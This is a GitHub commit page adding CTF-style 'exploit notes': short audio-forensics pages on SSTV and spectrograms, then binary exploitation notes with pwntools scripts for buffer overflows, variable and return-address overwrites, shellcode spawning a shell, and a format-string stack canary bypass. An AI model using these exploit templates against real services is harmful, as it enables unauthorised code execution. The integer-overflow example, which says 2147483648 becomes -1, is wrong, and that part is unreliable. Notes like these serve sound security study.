Skip to content

Commit ed84aba

Browse files
authored
Exploit notes 1
Exploit notes 1
1 parent 2d5fd10 commit ed84aba

File tree

100 files changed

+6847
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

100 files changed

+6847
-0
lines changed

audio/SSTV.md

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
---
2+
title: SSTV (Slow-scan Television)
3+
description: SSTV is a picture transmission method by amateur radio operators. We can extract pictures from audio files.
4+
tags:
5+
- Audio
6+
- Spectrogram
7+
refs:
8+
- https://oe5lxr.at/decode-sstv-with-mmsstv/
9+
date: 2023-07-19
10+
draft: false
11+
---
12+
13+
## Decode SSTV
14+
15+
There are some online tools available as below.
16+
17+
- **MMSSTV** (for Windows)
18+
- **QSSTV** (for Linux)
19+
- **[sstv](https://github.com/colaclanth/sstv)** (Command-line tool)

audio/Spectrogram.md

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
---
2+
title: Spectrogram
3+
description: A spectrogram is a visual representation of the spectrum of frequencies of a signal as it varies with time.
4+
tags:
5+
- Audio
6+
- Spectrogram
7+
refs:
8+
date: 2023-07-19
9+
draft: false
10+
---
11+
12+
## Online Tools
13+
14+
- **[Spectrum Analyzer](https://academo.org/demos/spectrum-analyzer/)**
15+
16+
Display a spectrum of signal amplitudes on different frequencies.
17+
Upload audio file like .wav or .mp3, .ogg.
18+
19+
- **[Spectral Analyzer](https://www.dcode.fr/spectral-analysis)**
20+
21+
- **[Morse Code Adaptive Audio Decoder](https://morsecode.world/international/decoder/audio-decoder-adaptive.html)**
22+
23+
<br />
24+
25+
## Using Audacity
26+
27+
Audacity is an audio editor which also can be used for decoding signals in audio files.
28+
29+
1. Open an audio file in Audacity.
30+
2. Click the name of the file at left menu (which contains the reverse triangle icon).
31+
3. In the drop-down menu, check **Spectrogram**.
32+
4. If you want to edit advanced settings, click **Spectrogram Settings** in the menu and edit values.
33+
5. Click **Play** button.
34+
35+
<br />
36+
37+
## Using Inspectrum
38+
39+
[Inspectrum](https://github.com/miek/inspectrum) is a radio signal analyzer for **.cf32**, **.cf64**, etc.
40+
41+
<br />
42+
43+
## Using Rtl-433
44+
45+
[rtl-433](https://github.com/merbanan/rtl_433) decodes radio transmissions from devices on the ISM bands.
46+
47+
```bash
48+
# -A: Pulse analyzer.
49+
rtl_433 -A <file>
50+
```

audio/_data.yml

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
category1: audio
2+
related_menus:
3+
- title: Others
4+
id: others
Lines changed: 206 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,206 @@
1+
---
2+
title: Binary Exploitation with Buffer Overflow
3+
description: Buffer overflow occurs when a program attempts to write more data to a buffer, or temporary data storage area, than it can hold. This can result in overwriting adjacent memory locations, potentially causing the program to crash or even allowing an attacker to execute arbitrary code on the target system. In the context of binary exploitation, this attack can be used to gain control of the program flow and redirect it to run attacker-controlled code, known as shellcode.
4+
tags:
5+
- Reverse Engineering
6+
refs:
7+
date: 2023-08-14
8+
draft: false
9+
---
10+
11+
## Investigation
12+
13+
### Functions Lead to Buffer Overflow
14+
15+
If the binary uses the following functions, Buffer Overflow may occurs.
16+
17+
```bash
18+
gets()
19+
fgets()
20+
scanf()
21+
sprintf()
22+
strcpy()
23+
strcat()
24+
```
25+
26+
<br />
27+
28+
## Basic Buffer Overflow
29+
30+
Try to find what values lead to segmentation fault.
31+
32+
```bash
33+
python3 -c 'print("A"*30)' | ./example
34+
python3 -c 'print("A"*40)' | ./example
35+
python3 -c 'print("A"*50)' | ./example
36+
...
37+
```
38+
39+
### Exploitation
40+
41+
Abuse input/output by typing a lot of characters more than the program expects..
42+
43+
```sh
44+
./example
45+
46+
Type something:
47+
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
48+
```
49+
50+
### Exploitation using Pwntools
51+
52+
```python
53+
#!/usr/bin/python3
54+
from pwn import *
55+
56+
ip = '10.0.0.1'
57+
port = 1337
58+
59+
r = remote(ip, port)
60+
# r = process("./example")
61+
62+
# Payload
63+
offset = 30
64+
payload = b'A' * offset
65+
66+
# Send payload
67+
r.sendline(payload)
68+
69+
# Print the output
70+
print(r.recvall().decode())
71+
72+
# Post process
73+
r.interactive()
74+
```
75+
76+
<br />
77+
78+
## Overriding Variables
79+
80+
The program executes input/output by gets() or scanf(), and limit the buffer size of the variable, we can modify the variable then lead to unexpected behavior.
81+
For instance, assume the program is as follow.
82+
83+
```sh
84+
rizin -d ./example
85+
[0x0000]> aaa
86+
87+
# Disassemble the function
88+
[0x0000]> pdf @ main
89+
# An example result
90+
sub rsp, 0x70
91+
call sym.imp.__isoc99_scanf ; int scanf(const char *format)
92+
cmp dword [rbp-0x4], 0xdeadbeef
93+
jne 0x5569e8600992
94+
lea rdi, str.bin_sh ; "/bin/sh"
95+
ret
96+
```
97+
98+
First find the distance from the stack pointer to rbp-0x4 (0x04).
99+
100+
```python
101+
python3
102+
>>> int(0x70-0x4)
103+
108
104+
```
105+
106+
### Exploitation using Pwntools
107+
108+
```python
109+
from pwn import *
110+
111+
context.update(arch="amd64", os="linux")
112+
113+
payload = b"A" * 108
114+
payload += p32(0xdeadbeef)
115+
116+
p = process('./example') # p = remote('example.com', '1337') for remote connection
117+
p.sendline(payload)
118+
p.interactive()
119+
```
120+
121+
<br />
122+
123+
## Overriding the Next Call
124+
125+
If the program uses **get()** or **scanf()**, we can specify the address of the desired calls by overwriting the address.
126+
Assume the program has the above two functions.
127+
128+
```sh
129+
0x0040158c main
130+
0x00401194 vuln_fn
131+
```
132+
133+
For instance, if we want to call the **“vuln_fn”** function, override the address of the next call using buffer overflow.
134+
135+
### Exploitation 1
136+
137+
```python
138+
from pwn import *
139+
140+
context.update(arch="amd64", os="linux")
141+
142+
elf = context.binary = ELF("./example")
143+
144+
payload = b"A" * 32
145+
# Give the address of the desired function.
146+
payload += p64(elf.sym["vuln_fn"])
147+
# or if PIE is disabled, we can set the address directly.
148+
# payload += p64(0x00401194)
149+
150+
p = process('./example') # p = remote('example.com', '1337') for remote connection.
151+
152+
p.sendline(payload)
153+
p.interactive()
154+
```
155+
156+
### Exploitation 2
157+
158+
```bash
159+
from pwn import *
160+
161+
exe = ELF("./example")
162+
163+
r = process(exe.path)
164+
# r = remote("10.0.0.1", "1337")
165+
166+
base_addr = 0x123456
167+
payload = b'A'*0x30 + p64(exe.bss()) + p64(base_addr)
168+
r.sendline(payload)
169+
170+
r.interactive()
171+
```
172+
173+
<br />
174+
175+
## Shellcode
176+
177+
We can create the crafted shell code and override the address to execute the shell code.
178+
Use **Pwntools** to create the shell code.
179+
180+
```python
181+
from pwn import *
182+
183+
context.update(arch="amd64", os="linux")
184+
185+
payload = b"A" * 50 + b"B" * 8
186+
payload += asm(shellcraft.sh())
187+
188+
p = process('./example') # p = remote('example.com', '1337') for remote connection
189+
p.sendline(payload)
190+
p.interactive()
191+
```
192+
193+
<br />
194+
195+
## Integer Overflow
196+
197+
If the program processes integer values with input/output, we can abuse it by overflow of integer.
198+
The range of 32-bit integer is **-2147483647 to 2147483647**, so if we type the max value +1 in input for instance, the result is -1. This is because
199+
200+
```bash
201+
./example
202+
203+
Type number:
204+
>> 2147483648
205+
The number you entered is -1.
206+
```
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
---
2+
title: Binary Exploitation with Canary Bypass
3+
description: A canary helps to prevent buffer overflow attacks by detecting stack overflow and preventing the program from crashing. Canary Bypass is used to bypass the protection provided by the stack canary. This is done by finding a way to overwrite the canary value without corrupting it.
4+
tags:
5+
- Reverse Engineering
6+
refs:
7+
- https://ir0nstone.gitbook.io/notes/
8+
date: 2023-02-12
9+
draft: false
10+
---
11+
12+
## Exploitation
13+
14+
```python
15+
from pwn import *
16+
import re
17+
18+
context.update(arch="amd64", os="linux")
19+
20+
filepath = "./example"
21+
elf = context.binary = ELF(filepath)
22+
23+
p = process(filepath) # p = remote('example.com', '1337') for remote connection
24+
25+
# We need to find the stack canary. This address ends with "00".
26+
# To find it, execute p.sendline(b"%p %p %p %p ...").
27+
p.sendline(b"%10$p %13$p")
28+
p.recvuntil(b"result: ")
29+
leaked = p.recvline().split()
30+
print(leaked)
31+
base = int(leaked[0], 16) - 0xa90
32+
canary = int(leaked[1], 16)
33+
elf.address = base
34+
35+
payload = b"A"*24
36+
payload += p64(canary)
37+
payload += b"B"*8
38+
payload += p64(base + 0x6fe)
39+
payload += p64(elf.sym["target_func"])
40+
41+
p.sendline(payload)
42+
p.interactive()
43+
```

0 commit comments

Comments
 (0)